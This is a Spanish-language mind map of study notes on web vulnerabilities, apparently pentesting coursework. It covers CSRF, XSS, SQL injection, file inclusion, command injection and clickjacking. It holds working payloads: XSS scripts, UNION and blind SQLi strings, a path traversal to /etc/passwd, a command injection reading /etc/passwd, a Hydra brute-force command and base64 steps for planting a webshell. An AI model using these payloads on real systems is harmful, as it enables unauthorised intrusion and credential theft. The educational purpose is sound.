¡GoConqr estrena diseño! Cuéntanos qué te parece.

Mapa mental

Vulnerabilidades

Reader Random Informática Segundo Español

Contenido del mapa

Vulnerabilidades

  1. Sistemas de gestión de sesión

    • Cross site Request forgery
      • Permite que navegador de victima envíe peticiones a un servidor legitimo sin que el usuario tenga conocimiento del envío de estas peticiones. Se da cuando servidor legitimo no comprueba el origen de las peticiones
  2. Sistemas de identificación

    • Verificación de controles de bloqueo
      • Checkear si es posible realizar un gran numero de peticiones de autenticación sin que el sistema bloquee o ralentice el proceso
    • Contraseñas débiles
      • Testear las credenciales por defecto (Ataque de diccionario)
        • hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt ftp://192.168.18.131:21 -t4 -V
          • La Puta fea te Vio
    • Credenciales por defecto
    • Burpsuite intruder Clusterbomb e Hydra
  3. Code Injection

    • Cross-site scripting
      • Reflejado
        • Ataker -->(manda url legitima con el código js inyectado)-->Client -->(hace petición GET a un servidor con esa url tuneada, AUN NO EJECUTA JS)--> Web Server --> (recibe la petición del cliente y le devuelve una respuesta CON EL JS DEL ATACANTE al cliente) --> Cliente (recibe la respuesta y se ejecuta el js malicioso QUE LE HA MANDADO EL SERVIDOR, que era el que iba en la url que le llego al cliente desde el atacante)
      • Almacenado
        • Se logra almacenar el js en el servidor para que lo envíe a muchos clientes
      • "><script>alert("Esto es vulnerable")</script>
      • "><script>eval(atob( "[document.documentElement.innerHTML='[html]'] en base64"));</script>
      • "><script> document.documentElement.innerHTML = '[html]';</script>
    • SQL Injection
      • Tipos según
        • Canal de extracción de datos
          • OutBand
            • El atacante usa un canal diferente para recibir los datos extraídos. Suele implicar el uso de técnicas como DNS o HTTP para enviar los datos a un servidor controlado por el atacante
          • InBand
            • Atacante usa el mismo canal de comunicación para inyectar el código malicioso y para recibir los datos
            • Atacante inserta consulta maliciosa en un campo de entrada de un formulario y los resultados se muestran en la página web
        • Tipo de respuesta del servidor
          • Error Based SQLi
            • Union Query SQLi
              • ' UNION select "a",username,password,is_admin,"e" from owasp10.accounts where '1=1' #
          • Blind Based SQLi
            • Time Based Blind Injection
              • <nombreUsuario>' and if(128<ASCII(SUBSTRING(version(),1,1)), sleep(5), 0) #
              • Es true si tarda 5s, false si tarda menos
              • <nombreUsuario>' and if(128<ASCII(SUBSTRING((SELECT table_schema FROM INFORMATION_SCHEMA.tables WHERE '1=1' LIMIT 1),1,1)), sleep(5), 0) #
            • Boolean Based Blind Injection
              • Devuelve true (302 Found) o false (200 OK)
              • ' or 1=1 and 128<ASCII(SUBSTRING(version(),1,1)) #
            • Encontrar un punto de inyección que muestre dos estados (búsqueda dicotómica en 8 jumps)
      • Burpsuite Repeater
    • Inyección de código
      • Local/Remote File Inclusion
        • Local: (fichero se encuentra en sistema de archivos local) Remoto: (fichero se encuentra en ruta accesible por red)
          • GET /url/index.php?page=../../../../../etc/passwd
        • Fallo en la validación que permite leer/ejecutar ficheros
      • Command Injection
        • Ejecutan comandos en el server usando vars que no están sanitizadas y son modificables por el usuario
          • En una petición, buscas cualquier var random como target_host=127.0.0.2&LoQueSea y lo mandas así target_host=127.0.0.2 | cat /etc/passwd&loQueSea
        • WebShell
          • Hace falta la Kali y pasarlo a Base64
            • cat webshell.php | base64 -w0 >fileEnc
            • echo "<cod en b64>" | base64 -d >webshell.php
              • Esto se pone por el parametro vulnerable desde Burp y crea el archivo en la victima
      • Burpsuite Repeater
  4. Sistemas del lado del cliente

    • Clickjacking
      • Engañar al usuario para que interactúe con la interfaz cuando realmente interactua con otros elementos
    • Jack
  5. Herramientas

    • SQLmap
      • Explotación de vulnerabilidades SQLi
        • sqlmap -r requestFile -p passwordFile --flush-session --level=5 --risk=3 --technique=BT --schema
          • RPF LeRTiS
    • Jack
      • Herramienta que permite la realización de POCs de clickjacking
    • Hydra
      • Explotación de ataques de fuerza bruta a servicios
    • Metasploit
      • Framework de explotación de vulnerabilidades. Contiene múltiples módulos que a parte de la explotación, permiten ser aplicados en muchas otras fases de una auditoría
        • msfconsole ---Search <palabra clave de lo que se busca, como ‘SQLi’> Show options -------- Use <exploit> -----Set <nombre variable> <valor variable>----------- quit

Información

Descripción
Segundo Informática Mapa Mental sobre Vulnerabilidades, creado por Reader Random el 12/11/2023.
Creado por
Reader Random
Visitas
24
Valoración

Escríbenos

¿Sobre qué es tu mensaje?

¿Qué te parece el nuevo diseño?

¿Te gusta?